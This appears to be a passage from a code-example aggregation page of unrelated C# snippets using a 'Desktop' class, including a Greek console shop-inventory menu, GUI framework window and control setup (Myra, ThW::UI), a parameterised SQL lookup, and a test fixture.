                Console.WriteLine("3.Εκτύπωση Διαθέσιμων Προϊόντων Καταστήματος\n");
                Console.WriteLine("0.Έξοδος");
                pmenou = Console.ReadLine();
                switch (pmenou)
                {
                    case "1":

                        Console.Write("1.Laptop\n");
                        Console.Write("2.Tablet\n");
                        Console.Write("3.Desktop\n");
                        Console.Write("4.Ipod\n");
                        dmenou = Console.ReadLine();

                        switch (dmenou)
                        {
                            case "1":
                                    i++;
                                    laptop[i] = new Laptop();
                                    laptop[i].Kataxwrhsh();

                                     Console.Write("H εγγραφη ολοκληρωθηκε επιτυχως...");
                                break;

                            case "2":
                                    j++;
                                    tablet[j] = new Tablet();
                                    tablet[j].Kataxwrhsh();

                                Console.Write("H εγγραφη ολοκληρωθηκε επιτυχως...");
                                break;

                            case "3":
                                    w++;
                                    desktop[w] = new Desktop();
                                    desktop[w].Kataxwrhsh();

                                    Console.Write("H εγγραφη ολοκληρωθηκε επιτυχως...");
                                break;

                            case "4":
                                z++;
                                ipod[z] = new Ipod();
                                ipod[z].Kataxwrhsh();

                                    Console.Write("H εγγραφη ολοκληρωθηκε επιτυχως...");
                                break;
                        }

                        break;
                    case "2":

                         int x = 0;

            Console.Write("Ονομα πελατη:");
            Ypologistes.Onomapelati = Console.ReadLine();
            Console.Write("Δώσε το Κωδικο του Προϊοντος:");
            x = Int32.Parse(Console.ReadLine());

            for (k = 0; k <= i; k++)

                if (x == laptop[k].Code1)
                {
                    laptop[k].Arxeio();

                }

                else
                    for (k = 0; k <= j; k++)
                        if (x == tablet[k].Code2)
                        {
                            tablet[k].Arxeio();
                        }
                        else
                            for (k = 0; k <= w; k++)
                                if (x == desktop[k].Code3)

                                {

                                    desktop[k].Arxeio();
                                }
                                else
                                    for (k = 0; k <= z; k++)
                                        if (x == ipod[k].Code4)
                                        {
                                            ipod[k].Arxeio();
                                        }
                                        else
                                            Console.Write("Ο κωδικός δε ταιριάζει ξαναπροσπαθήστε");

                        break;
                    case "3":
                            Console.Write("\n----------------Laptop---------------------\n");

                            for (k = 0; k <= i; k++)

                                laptop[k].Ektypwsh();

                            Console.Write("\n----------------Tablet---------------------\n");
                            for (k = 0; k <= j; k++)
                                tablet[k].Ektypwsh();

                            Console.Write("\n----------------Desktop---------------------\n");
                            for (k = 0; k <= w; k++)

                                desktop[k].Ektypwsh();

                            Console.Write("\n----------------Ipod---------------------\n");
                            for (k = 0; k <= z; k++)

                                ipod[k].Ektypwsh();

                        break;

                    case "0":

                        break;
                    default:
                        Console.WriteLine("Ξαναπροσπάθησε(μόνο 1,2,3 και 0 για έξοδο");
                        break;
                }
                Console.Write("\nPress Any NUMBER! To Continue...");
                Console.Write("\nΓια εξοδο απο το προγραμμα επελεξε 0...");

                count = Int32.Parse(Console.ReadLine());
            }while(count!=0);

            Console.ReadKey();
        }
Exemple #37
0
        protected Control(Desktop desktop, Window window, CreationFlag creationFlags, String type)
            : base(type)
        {
            if (null != desktop)
            {
                this.uiEngine = desktop.Engine;
            }

            if (null != window)
            {
                this.uiEngine = window.Engine;
            }

            Theme theme = null;

            if (null != desktop)
            {
                theme = desktop.Theme;
            }
            else if (null != window)
            {
                theme = window.Desktop.Theme;
            }
            else
            {
                theme = this.Window.Desktop.Theme;
            }

            this.window = window;
            this.creationFlags = creationFlags;
            this.borderColor = theme.Colors.Window;

            ControlSettings settings = theme.GetControlSettings(this.Type);

            this.backColor = settings.ColorBack;
            this.borderColorDark1 = settings.ColorBorderDark1;
            this.borderColorDark2 = settings.ColorBorderDark2;
            this.borderColorLight1 = settings.ColorBorderLight1;
            this.borderColorLight2 = settings.ColorBorderLight2;
            this.skinned = settings.Skinned;

            if (settings.BackImage.Length > 0)
            {
                BackImage = theme.ThemeFolder + "/" + settings.BackImage;
            }

            this.font = new FontInfo(this.uiEngine, this.Window, settings, theme.DefaultFontName, theme.DefaultFontSize);

            this.uiEngine.Language.LanguageChanged += this.OnLanguageChanged;

            OnLanguageChanged();
        }
Exemple #38
0
			public static Desktop FromXmlElement(XmlElement element)
			{
				Platform.CheckTrue(element.Name == "desktop", "The settings xml is invalid.");
				
				TypeConverter converter = TypeDescriptor.GetConverter(typeof(Rectangle));
				Rectangle virtualScreen = (Rectangle)converter.ConvertFromInvariantString(element.GetAttribute("virtual-screen"));

				Desktop desktop = new Desktop(virtualScreen);
				
				foreach (XmlElement screen in element["screens"].ChildNodes)
					desktop._screens.Add(Screen.FromXmlElement(screen));

				foreach (XmlElement window in element["desktop-windows"].ChildNodes)
					desktop._desktopWindows.Add(DesktopWindow.FromXmlElement(window));

				return desktop;
			}
Exemple #39
0
        public static void Run()
        {
            blankBitmap            = ImageProcessing.Tools.BlankBitmap(Desktop.GetWidth(), Desktop.GetHeight());
            mask                   = new Mask(blankBitmap);
            mask.AllowTransparency = true;
            mask.TransparencyKey   = Color.White;
            mask.Picture.BackColor = Color.Transparent;
            Window.EnableMouseTransparency(mask.Handle);
            mouse = (Bitmap)Properties.Resources.mouse.Clone();
            mouse.MakeTransparent(Color.Transparent);

            SpawnMouses();
            InitializeVelocities();
            for (int i = 0; i < 10000; i++)
            {
                mask.TopMost = true;
                MoveMouses();
                DrawMouses();
                System.Threading.Thread.Sleep(10);
            }

            mask.Dispose();
        }
Exemple #40
0
		private void LoadAllDesktops()
		{
			_currentDesktop = null;
			_desktops.Clear();

			XmlElement desktops = DesktopViewSettingsXml["desktops"];
			if (desktops != null)
			{
				foreach (XmlElement desktop in desktops.ChildNodes)
					_desktops.Add(Desktop.FromXmlElement(desktop));

				foreach (Desktop desktop in _desktops)
				{
					if (desktop.IsCurrent)
					{
						_currentDesktop = desktop;
						break;
					}
				}
			}
		}
Exemple #41
0
 void toolbar1_OnCancelClick(Desktop.ComponentModel.Toolbar sender, Desktop.ComponentModel.ComponentModelEventArgs args)
 {
     MessageBox.Show("Cancel click");
 }
 /// <summary>
 /// Creates a new desktop window for the specified arguments.
 /// </summary>
 /// <param name="args">Arguments that control the creation of the desktop window.</param>
 /// <param name="application">The application with which the window is associated.</param>
 /// <returns>A new desktop window instance.</returns>
 public DesktopWindow CreateWindow(DesktopWindowCreationArgs args, Desktop.Application application)
 {
     return new RisDesktopWindow(args, application);
 }
Exemple #43
0
 void toolbar1_OnPrintClick(Desktop.ComponentModel.Toolbar sender, Desktop.ComponentModel.ComponentModelEventArgs args)
 {
     MessageBox.Show("print click");
 }
        /// <summary>
        /// Constructor
        /// </summary>
        /// <param name="args"></param>
        /// <param name="application"></param>
        protected internal RisDesktopWindow(DesktopWindowCreationArgs args, Desktop.Application application)
            :base(args, application)
        {
			// set the current session before attempting to access other services, as these will require authentication
			LoginSession.Create(SessionManager.FacilityCode);
		}
Exemple #45
0
        /// <summary>
        /// Creates color chooser window.
        /// </summary>
        /// <param name="desktop">desktop it belongs to.</param>
        public ColorChooser(Desktop desktop)
            : base(desktop, CreationFlag.FlagsNone, "")
        {
            this.colorPanel = CreateControl<Panel>();
            this.redSelector = CreateControl<TrackBar>();
            this.greenSelector = CreateControl<TrackBar>();
            this.blueSelector = CreateControl<TrackBar>();
            this.alphaSelector = CreateControl<TrackBar>();
            this.colors = CreateControl<ComboBox>();

            this.Text = "Select color";
            this.Modal = true;
            this.MinSize = new Size2d(450, 330);
            this.Bounds = new Rectangle((desktop.Width - this.MinSize.Width) / 2, (desktop.Height - this.MinSize.Height) / 2, this.MinSize.Width, this.MinSize.Height);

            this.colorPanel.Bounds = new Rectangle(121, 210, 317, 50);
            this.colorPanel.Border = BorderStyle.Lowered;

            Button cancelButton = CreateControl<Button>();
            cancelButton.Text = "Cancel";
            cancelButton.Bounds = new Rectangle(343, 277, 95, 24);
            cancelButton.DialogResult = DialogResult.DialogResultCancel;
            cancelButton.Anchor = AnchorStyle.AnchorBottom | AnchorStyle.AnchorRight;

            Button selectButton = CreateControl<Button>();
            selectButton.Text = "Select";
            selectButton.Bounds = new Rectangle(245, 277, 95, 24);
            selectButton.DialogResult = DialogResult.DialogResultOK;
            selectButton.Anchor = AnchorStyle.AnchorBottom | AnchorStyle.AnchorRight;

            Control systemColorsLabel = CreateControl<Label>();
            systemColorsLabel.Text = "System color";
            systemColorsLabel.Bounds = new Rectangle(10, 43 - 35, 120, 24);

            Control redLabel = CreateControl<Label>();
            redLabel.Text = "Red";
            redLabel.Bounds = new Rectangle(10, 43, 120, 35);

            Control greenLabel = CreateControl<Label>();
            greenLabel.Text = "Green";
            greenLabel.Bounds = new Rectangle(10, 43 + 35, 120, 35);

            Control blueLabel = CreateControl<Label>();
            blueLabel.Text = "Blue";
            blueLabel.Bounds = new Rectangle(10, 43 + 35 + 35, 120, 35);

            Control alphaLabel = CreateControl<Label>();
            alphaLabel.Text = "Alpha";
            alphaLabel.Bounds = new Rectangle(10, 43 + 35 + 35 + 35, 120, 35);

            this.redSelector.Bounds = new Rectangle(121, 43, 317, 35);
            this.redSelector.Anchor = AnchorStyle.AnchorLeft | AnchorStyle.AnchorRight | AnchorStyle.AnchorTop;
            this.redSelector.ValueChanged += this.ColorSelectorValueChanged;

            this.greenSelector.Bounds = new Rectangle(121, 43 + 35, 317, 35);
            this.greenSelector.Anchor = AnchorStyle.AnchorLeft | AnchorStyle.AnchorRight | AnchorStyle.AnchorTop;
            this.greenSelector.ValueChanged += this.ColorSelectorValueChanged;

            this.blueSelector.Bounds = new Rectangle(121, 43 + 35 + 35, 317, 35);
            this.blueSelector.Anchor = AnchorStyle.AnchorLeft | AnchorStyle.AnchorRight | AnchorStyle.AnchorTop;
            this.blueSelector.ValueChanged += this.ColorSelectorValueChanged;

            this.alphaSelector.Bounds = new Rectangle(121, 43 + 35 + 35 + 35, 317, 35);
            this.alphaSelector.Anchor = AnchorStyle.AnchorLeft | AnchorStyle.AnchorRight | AnchorStyle.AnchorTop;
            this.alphaSelector.ValueChanged += this.ColorSelectorValueChanged;

            this.colors.Bounds = new Rectangle(121, 43 - 35, 317, 24);
            this.colors.Anchor = AnchorStyle.AnchorLeft | AnchorStyle.AnchorRight | AnchorStyle.AnchorTop;
            this.colors.SelectedItemChanged += new UIEventHandler<ComboBox>(ColorItemChanged);

            foreach (Color color in this.Desktop.Theme.Colors.SystemColors)
            {
                this.colors.AddItem(color.Name, color.Name, "", color);
            }

            AddControl(systemColorsLabel);
            AddControl(redLabel);
            AddControl(greenLabel);
            AddControl(blueLabel);
            AddControl(alphaLabel);
            AddControl(selectButton);
            AddControl(cancelButton);
            AddControl(this.colorPanel);
            AddControl(this.redSelector);
            AddControl(this.greenSelector);
            AddControl(this.blueSelector);
            AddControl(this.alphaSelector);
            AddControl(this.colors);
        }
Exemple #46
0
        private void InitControls(object sender, EventArgs e)
        {
            this.render = new GDIRender(this.renderPanel.Handle.ToInt32(), this.uiEngine);
            //this.render = new OpenGLRender(this.renderPanel.Handle.ToInt32());
            //this.render = new D3DRender(this.renderPanel.Handle.ToInt32());
            this.uiEngine.Render = this.render;
            //            this.uiEngine.SetWorkingFolder(@"E:\1\");
            this.uiEngine.VirtualFileSystem = new AssemblyFilesSystem();
            this.desktop = this.uiEngine.NewDesktop(null, "ui/themes/generic/");
            this.desktop.DrawCursor = false;
            this.hasChanges = false;
            NewWindowClick(sender, e);
            this.hasChanges = true;
            FillProperties();
            this.render.SetBackColor(0f, 0f, 0f, 1f);

            Application.Idle += new EventHandler(ApplicationIdle);
            this.renderPanel.SizeChanged += (s, args) => { this.render.SetViewSize(0, 0, this.renderPanel.Width, this.renderPanel.Height); };
            this.renderPanel.Paint += (s, args) => { ApplicationIdle(s, args); };
            this.renderPanel.MouseMove += new MouseEventHandler(RenderPanelMouseMove);
            this.renderPanel.MouseDown += (s, args) => { MousePress(args.X, args.Y); };
            this.renderPanel.MouseUp += (s, args) => { MouseRelease(args.X, args.Y); };
            this.propertyGrid = new PropertyGridEx();
            this.propertiesPanel.Controls.Add(this.propertyGrid);
            this.propertyGrid.Dock = DockStyle.Fill;

            this.deleteButton.Image = DesignerUtils.GetSystemIcon(131).ToBitmap();
            this.newButton.Image = DesignerUtils.GetSystemIcon(100).ToBitmap();
            this.openButton.Image = DesignerUtils.GetSystemIcon(126).ToBitmap();

            this.controlsPanel.Controls.Clear();

            foreach (KeyValuePair<String, KeyValuePair<Type, IControlsCreator>> controlType in this.uiEngine.ControlTypes)
            {
                KeyValuePair<Type, IControlsCreator> creator = controlType.Value;

                if (true == creator.Value.ShowInDesigner)
                {
                    System.Windows.Forms.RadioButton button = new System.Windows.Forms.RadioButton();

                    button.Dock = DockStyle.Top;
                    button.Text = controlType.Key.ToUpper()[0] + controlType.Key.Substring(1);
                    button.Tag = controlType.Key;

                    this.controlsPanel.Controls.Add(button);
                    this.designControls.Add(button);
                }
            }

            this.controlsPanel.Controls.Add(this.radioButtonPointer);
            this.radioButtonPointer.Dock = DockStyle.Top;
            this.render.SetViewSize(0, 0, this.renderPanel.Width, this.renderPanel.Height);
        }
Exemple #47
0
    public static Thing GetThing(int thingID)
    {
        SqlConnection connection = InternetOfThingsDB.GetConnection();
        string        selectStatement
            = "SELECT ID, Description, IPAddress, MacAddress, OperatingSystem "
              + "FROM Things "
              + "WHERE ID = @ID";
        SqlCommand selectCommand =
            new SqlCommand(selectStatement, connection);

        selectCommand.Parameters.AddWithValue("@ID", thingID);

        try
        {
            connection.Open();
            SqlDataReader thingReader = selectCommand.ExecuteReader(CommandBehavior.SingleRow);
            if (thingReader.Read())
            {
                string strDescription = thingReader["Description"].ToString();

                Thing thing;

                // Showing some inheritance methodology
                if (strDescription.ToUpper().Contains("DESKTOP"))
                {
                    thing = new Desktop();
                }
                else if (strDescription.ToUpper().Contains("LAPTOP"))
                {
                    thing = new Laptop();
                }
                else if (strDescription.ToUpper().Contains("TABLET"))
                {
                    thing = new Tablet();
                }
                else
                {
                    thing = new Other();
                }

                thing.ID              = (int)thingReader["ID"];
                thing.IPAddress       = thingReader["IPAddress"].ToString();
                thing.MacAddress      = thingReader["MacAddress"].ToString();
                thing.OperatingSystem = thingReader["OperatingSystem"].ToString();
                thing.Description     = thingReader["Description"].ToString();

                return(thing);
            }
            else
            {
                return(null);
            }
        }
        catch (SqlException ex)
        {
            throw ex;
        }
        finally
        {
            connection.Close();
        }
    }
Exemple #48
0
        protected override void LoadContent()
        {
            base.LoadContent();

            _spriteBatch = new SpriteBatch(GraphicsDevice);

            using (var stream = TitleContainer.OpenStream("image.png"))
            {
                _playerImage = Texture2D.FromStream(GraphicsDevice, stream);
            }

            MyraEnvironment.Game = this;

            _font = DefaultAssets.UIStylesheet.Fonts.Values.First();

            var root = new Panel();

            var showButton = new TextButton
            {
                Text       = "Show",
                Toggleable = true
            };

            showButton.PressedChanged += ShowButton_PressedChanged;

            root.Widgets.Add(showButton);

            _labelOverGui = new Label
            {
                VerticalAlignment = VerticalAlignment.Bottom
            };
            root.Widgets.Add(_labelOverGui);

            _desktop = new Desktop
            {
                Root = root
            };

            var propertyGrid = new PropertyGrid
            {
                Object = _player,
                Width  = 350
            };

            _windowEditor = new Window
            {
                Title   = "Object Editor",
                Content = propertyGrid
            };

            _windowEditor.Closed += (s, a) =>
            {
                showButton.IsPressed = false;
            };

            // Force window show
            showButton.IsPressed = true;

#if MONOGAME
            // Inform Myra that external text input is available
            // So it stops translating Keys to chars
            _desktop.HasExternalTextInput = true;

            // Provide that text input
            Window.TextInput += (s, a) =>
            {
                _desktop.OnChar(a.Character);
            };
#endif

            _renderContext = new RenderContext();
        }
 public PlayerStatisticsWindow(Desktop desktop)
     : base(desktop)
 {
 }
Exemple #50
0
        /// <summary>
        /// Constructs about window object.
        /// </summary>
        /// <param name="desktop">desktop it belongs to</param>
        public AboutWindow(Desktop desktop)
            : base(desktop, CreationFlag.FlagsNone, "")
        {
            this.Text = "About...";
            this.Modal = true;
            this.CenterDesktop = true;
            this.Sizeable = false;
            this.HasShadow = true;
            this.MinSize = new Size2d(490, 390);
            this.Bounds = new Rectangle((desktop.Width - this.MinSize.Width) / 2, (desktop.Height - this.MinSize.Height) / 2, this.MinSize.Width, this.MinSize.Height);

            Button closeButton = CreateControl<Button>();
            closeButton.Text = "Ok";
            closeButton.Bounds = new Rectangle(410, 342, 75, 23);
            closeButton.DialogResult = DialogResult.DialogResultOK;

            Picture picture = CreateControl<Picture>();
            picture.Bounds = new Rectangle(3, 1, 155, 334);
            picture.BackImage = "ui/design/about";
            picture.Border = BorderStyle.Flat;

            Label titleLabel = CreateControl<Label>();
            titleLabel.Text = "ThW::UI";
            titleLabel.Bounds = new Rectangle(165, 5, 321, 16);

            Label VersionLabel = CreateControl<Label>();
            VersionLabel.Text = "Version " + VersionInfo.Version;
            VersionLabel.Bounds = new Rectangle(165, 25, 321, 16);

            Label buildLabel = CreateControl<Label>();
            buildLabel.Text = "Build " + VersionInfo.Build;
            buildLabel.Bounds = new Rectangle(165, 45, 321, 16);

            Label urlLabel = CreateControl<Label>();
            urlLabel.Text = VersionInfo.Url;
            urlLabel.Bounds = new Rectangle(165, 65, 321, 16);
            urlLabel.TextColor = Colors.Blue;

            ScrollPanel scrollPanel = CreateControl<ScrollPanel>();
            scrollPanel.Bounds = new Rectangle(165, 88, 320, 247);
            scrollPanel.Border = BorderStyle.Lowered;

            TextBox licenseTextBox = CreateControl<TextBox>();
            licenseTextBox.Bounds = new Rectangle(3, 3, 10, 10);
            licenseTextBox.Border = BorderStyle.None;
            licenseTextBox.BackColor = Colors.None;
            licenseTextBox.AutoSize = true;
            licenseTextBox.MultiLine = true;
            scrollPanel.AddControl(licenseTextBox);

            byte[] fileBytes = null;
            uint fileSize = 0;
            Object fileHandle = null;

            this.Engine.OpenFile("ui/design/eula-utf8.txt", out fileBytes, out fileSize, out fileHandle);

            if ((null != fileHandle) && (null != fileBytes) && (fileBytes.Length > 0))
            {
                licenseTextBox.Text = UTF8Encoding.UTF8.GetString(fileBytes, 0, fileBytes.Length);

                this.Engine.CloseFile(ref fileHandle);
            }

            AddControl(titleLabel);
            AddControl(VersionLabel);
            AddControl(buildLabel);
            AddControl(urlLabel);
            AddControl(scrollPanel);
            AddControl(closeButton);
            AddControl(picture);
        }
Exemple #51
0
        protected override void LoadContent()
        {
            base.LoadContent();

            MyraEnvironment.Game = this;

            // Widget.DrawFrames = true;
            _host = new Desktop();

            var grid = new Grid
            {
                RowSpacing    = 3,
                ColumnSpacing = 3,
                //				DrawLines = true
            };

            grid.ColumnsProportions.Add(new Grid.Proportion(Grid.ProportionType.Auto));
            grid.ColumnsProportions.Add(new Grid.Proportion(Grid.ProportionType.Auto));
            grid.ColumnsProportions.Add(new Grid.Proportion(Grid.ProportionType.Part, 1.0f));
            grid.ColumnsProportions.Add(new Grid.Proportion(Grid.ProportionType.Part, 2.0f));
            grid.ColumnsProportions.Add(new Grid.Proportion(Grid.ProportionType.Pixels, 150.0f));
            grid.ColumnsProportions.Add(new Grid.Proportion(Grid.ProportionType.Auto));
            grid.ColumnsProportions.Add(new Grid.Proportion(Grid.ProportionType.Fill));

            grid.RowsProportions.Add(new Grid.Proportion(Grid.ProportionType.Auto));
            grid.RowsProportions.Add(new Grid.Proportion(Grid.ProportionType.Auto));
            grid.RowsProportions.Add(new Grid.Proportion(Grid.ProportionType.Part, 1.0f));
            grid.RowsProportions.Add(new Grid.Proportion(Grid.ProportionType.Part, 1.0f));
            grid.RowsProportions.Add(new Grid.Proportion(Grid.ProportionType.Pixels, 200.0f));
            grid.RowsProportions.Add(new Grid.Proportion(Grid.ProportionType.Auto));
            grid.RowsProportions.Add(new Grid.Proportion(Grid.ProportionType.Fill));

            // Create headers
            for (var i = 1; i < grid.ColumnsProportions.Count; ++i)
            {
                var header = new TextBlock
                {
                    Text          = grid.ColumnsProportions[i].ToString(),
                    GridPositionX = i,
                    GridPositionY = 0
                };

                grid.Widgets.Add(header);
            }

            // Combo
            var combo = new ComboBox
            {
                GridPositionX = 1,
                GridPositionY = 1
            };

            combo.Items.Add(new ListItem("Red", Color.Red));
            combo.Items.Add(new ListItem("Green", Color.Green));
            combo.Items.Add(new ListItem("Blue", Color.Blue));
            grid.Widgets.Add(combo);

            // Button
            var button = new Button
            {
                GridPositionX       = 2,
                GridPositionY       = 1,
                GridSpanX           = 2,
                GridSpanY           = 1,
                HorizontalAlignment = HorizontalAlignment.Stretch,
                Text = "This is 2 columns button"
            };

            button.Down += (s, a) =>
            {
                var messageBox = Dialog.CreateMessageBox("2C", "2 Columns Button pushed!");
                messageBox.ShowModal(_host);
            };

            grid.Widgets.Add(button);

            // Button
            var button2 = new Button
            {
                GridPositionX       = 2,
                GridPositionY       = 2,
                GridSpanX           = 1,
                GridSpanY           = 2,
                HorizontalAlignment = HorizontalAlignment.Stretch,
                VerticalAlignment   = VerticalAlignment.Stretch,
                Text = "This is 2 rows button"
            };

            button2.Down += (s, a) =>
            {
                var messageBox = Dialog.CreateMessageBox("2R", "2 Rows Button pushed!");
                messageBox.ShowModal(_host);
            };
            grid.Widgets.Add(button2);

            var label = new TextBlock
            {
                Text =
                    "Lorem ipsum [Green]dolor sit amet, [Red]consectetur adipisicing elit, sed do eiusmod [#AAAAAAAA]tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. [white]Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum!",
                VerticalSpacing = 0,
                TextColor       = Color.AntiqueWhite,
                Wrap            = true
            };

            var pane = new ScrollPane
            {
                Widget     = label,
                WidthHint  = 200,
                HeightHint = 200
            };

            _window = new Window
            {
                Title   = "Text",
                Content = pane
            };

            var button3 = new Button
            {
                Text          = "Show Window",
                GridPositionX = 4,
                GridPositionY = 3
            };

            grid.Widgets.Add(button3);

            button3.Up += (sender, args) =>
            {
                _window.ShowModal(_host);
            };

            // Horizontal slider
            var hslider = new HorizontalSlider
            {
                GridPositionX = 3,
                GridPositionY = 2
            };

            grid.Widgets.Add(hslider);

            // Horizontal slider value
            var hsliderValue = new TextBlock
            {
                GridPositionX = 4,
                GridPositionY = 2,
                Text          = "HSlider Value: 0"
            };

            hslider.ValueChanged += (sender, args) =>
            {
                hsliderValue.Text = string.Format("HSlider Value: {0:0.00}", hslider.Value);
            };

            grid.Widgets.Add(hsliderValue);

            var textBlock = new TextBlock
            {
                WidthHint     = 125,
                Text          = "This is textblock which spans for several lines to demonstrate row proportion set to Auto",
                GridPositionX = 4,
                GridPositionY = 1
            };

            grid.Widgets.Add(textBlock);

            var checkBox = new CheckBox
            {
                Text          = "This is a checkbox",
                GridPositionX = 3,
                GridPositionY = 3,
            };

            grid.Widgets.Add(checkBox);

            // Spin buttons
            var textField = new TextField
            {
                GridPositionX = 5,
                GridPositionY = 1,
                WidthHint     = 100
            };

            grid.Widgets.Add(textField);

            var spinButton2 = new SpinButton
            {
                GridPositionX = 5,
                GridPositionY = 2,
                WidthHint     = 100,
                Integer       = true
            };

            grid.Widgets.Add(spinButton2);

            // Progress bars
            _horizontalProgressBar = new HorizontalProgressBar
            {
                GridPositionX = 5,
                GridPositionY = 3,
                WidthHint     = 100
            };
            grid.Widgets.Add(_horizontalProgressBar);

            _verticalProgressBar = new VerticalProgressBar
            {
                GridPositionX = 6,
                GridPositionY = 1,
                HeightHint    = 100
            };
            grid.Widgets.Add(_verticalProgressBar);

            // List box
            var list = new ListBox
            {
                GridPositionX = 5,
                GridPositionY = 4
            };

            list.Items.Add(new ListItem("Red", Color.Red));
            list.Items.Add(new ListItem("Green", Color.Green));
            list.Items.Add(new ListItem("Blue", Color.Blue));
            grid.Widgets.Add(list);

            // Vertical slider
            var vslider = new VerticalSlider
            {
                GridPositionX = 2,
                GridPositionY = 4
            };

            grid.Widgets.Add(vslider);

            // Vertical slider value
            var vsliderValue = new TextBlock
            {
                GridPositionX = 4,
                GridPositionY = 4,
                Text          = "VSlider Value: 0"
            };

            vslider.ValueChanged += (sender, args) =>
            {
                vsliderValue.Text = string.Format("VSlider Value: {0:0.00}", vslider.Value);
            };

            grid.Widgets.Add(vsliderValue);

            var tree = new Tree
            {
                HasRoot       = false,
                GridPositionX = 3,
                GridPositionY = 4
            };
            var node1 = tree.AddSubNode("node1");
            var node2 = node1.AddSubNode("node2");
            var node3 = node2.AddSubNode("node3");

            node3.AddSubNode("node4");
            node3.AddSubNode("node5");
            node2.AddSubNode("node6");

            grid.Widgets.Add(tree);

            var textBlock2 = new TextBlock
            {
                Text          = "This is long textblock",
                GridPositionX = 1,
                GridPositionY = 4
            };

            grid.Widgets.Add(textBlock2);

            var hsplitPane = new HorizontalSplitPane
            {
                GridPositionX = 1,
                GridPositionY = 5
            };
            var hsplitPaneLabel1 = new TextBlock
            {
                Text = "Left"
            };

            hsplitPane.Widgets.Add(hsplitPaneLabel1);
            var hsplitPaneLabel2 = new TextBlock
            {
                Text = "Right"
            };

            hsplitPane.Widgets.Add(hsplitPaneLabel2);
            grid.Widgets.Add(hsplitPane);

            var vsplitPane = new VerticalSplitPane
            {
                GridPositionX = 6,
                GridPositionY = 4
            };
            var vsplitPaneLabel1 = new TextBlock
            {
                Text = "Top"
            };

            vsplitPane.Widgets.Add(vsplitPaneLabel1);
            var vsplitPaneLabel2 = new TextBlock
            {
                Text = "Bottom"
            };

            vsplitPane.Widgets.Add(vsplitPaneLabel2);
            grid.Widgets.Add(vsplitPane);

            for (var i = 1; i < grid.RowsProportions.Count; ++i)
            {
                var header = new TextBlock
                {
                    Text          = grid.RowsProportions[i].ToString(),
                    GridPositionX = 0,
                    GridPositionY = i
                };

                grid.Widgets.Add(header);
            }

            _host.Widgets.Add(grid);
        }
Exemple #52
0
 public void method_3()
 {
     foreach (Control control in this.panel1.Controls)
     {
         control.Dispose();
     }
     this.panel1.Controls.Clear();
     Desktop desktop = new Desktop {
         TopLevel = false,
         FormBorderStyle = FormBorderStyle.None,
         Visible = true
     };
     this.panel1.Controls.Add(desktop);
 }
Exemple #53
0
 public void Setup()
 {
     _mockDesktopManager = new Mock<IDesktopManager>();
     _mockWindowManager = new Mock<IWindowManager>();
     _sut = new Desktop(_mockDesktopManager.Object, _mockWindowManager.Object);
 }
Exemple #54
0
		static void FindDesktopEnvironment() {
			desktop = Desktop.Gtk;
			string session =  Environment.GetEnvironmentVariable("DESKTOP_SESSION");
				
			if ( session != null ) {
				session = session.ToUpper( );
					
				if ( session == "DEFAULT" ) {
					string helper = Environment.GetEnvironmentVariable("KDE_FULL_SESSION");
						
					if ( helper != null )
						desktop = Desktop.KDE;
				} else
				if ( session.StartsWith("KDE") )
					desktop = Desktop.KDE;
			}
		}
Exemple #55
0
        private void BuildUI()
        {
            _desktop = new Desktop();

            _desktop.ContextMenuClosed += _desktop_ContextMenuClosed;
            _desktop.KeyDownHandler     = key =>
            {
                if (_autoCompleteMenu != null &&
                    (key == Keys.Up || key == Keys.Down || key == Keys.Enter))
                {
                    _autoCompleteMenu.OnKeyDown(key);
                }
                else
                {
                    _desktop.OnKeyDown(key);
                }
            };

            _desktop.KeyDown += (s, a) =>
            {
                if (_desktop.HasModalWindow || _ui._mainMenu.IsOpen)
                {
                    return;
                }

                if (_desktop.DownKeys.Contains(Keys.LeftControl) || _desktop.DownKeys.Contains(Keys.RightControl))
                {
                    if (_desktop.DownKeys.Contains(Keys.N))
                    {
                        NewItemOnClicked(this, EventArgs.Empty);
                    }
                    else if (_desktop.DownKeys.Contains(Keys.O))
                    {
                        OpenItemOnClicked(this, EventArgs.Empty);
                    }
                    else if (_desktop.DownKeys.Contains(Keys.R))
                    {
                        OnMenuFileReloadSelected(this, EventArgs.Empty);
                    }
                    else if (_desktop.DownKeys.Contains(Keys.S))
                    {
                        SaveItemOnClicked(this, EventArgs.Empty);
                    }
                    else if (_desktop.DownKeys.Contains(Keys.E))
                    {
                        ExportCsItemOnSelected(this, EventArgs.Empty);
                    }
                    else if (_desktop.DownKeys.Contains(Keys.T))
                    {
                        OnMenuFileReloadStylesheet(this, EventArgs.Empty);
                    }
                    else if (_desktop.DownKeys.Contains(Keys.Q))
                    {
                        Exit();
                    }
                    else if (_desktop.DownKeys.Contains(Keys.F))
                    {
                        _menuEditUpdateSource_Selected(this, EventArgs.Empty);
                    }
                }
            };

            _ui = new StudioWidget();

            _ui._menuFileNew.Selected              += NewItemOnClicked;
            _ui._menuFileOpen.Selected             += OpenItemOnClicked;
            _ui._menuFileReload.Selected           += OnMenuFileReloadSelected;
            _ui._menuFileSave.Selected             += SaveItemOnClicked;
            _ui._menuFileSaveAs.Selected           += SaveAsItemOnClicked;
            _ui._menuFileExportToCS.Selected       += ExportCsItemOnSelected;
            _ui._menuFileLoadStylesheet.Selected   += OnMenuFileLoadStylesheet;
            _ui._menuFileReloadStylesheet.Selected += OnMenuFileReloadStylesheet;
            _ui._menuFileResetStylesheet.Selected  += OnMenuFileResetStylesheetSelected;
            _ui._menuFileDebugOptions.Selected     += DebugOptionsItemOnSelected;
            _ui._menuFileQuit.Selected             += QuitItemOnDown;

            _ui._menuEditFormatSource.Selected += _menuEditUpdateSource_Selected;

            _ui._menuHelpAbout.Selected += AboutItemOnClicked;

            _ui._textSource.CursorPositionChanged += _textSource_CursorPositionChanged;
            _ui._textSource.TextChanged           += _textSource_TextChanged;
            _ui._textSource.KeyDown += _textSource_KeyDown;
            _ui._textSource.Char    += _textSource_Char;

            _ui._textStatus.Text   = string.Empty;
            _ui._textLocation.Text = "Line: 0, Column: 0, Indent: 0";

            _propertyGrid = new PropertyGrid
            {
                IgnoreCollections = true
            };
            _propertyGrid.PropertyChanged     += PropertyGridOnPropertyChanged;
            _propertyGrid.CustomValuesProvider = RecordValuesProvider;
            _propertyGrid.CustomSetter         = RecordSetter;

            _ui._propertyGridPane.Content = _propertyGrid;

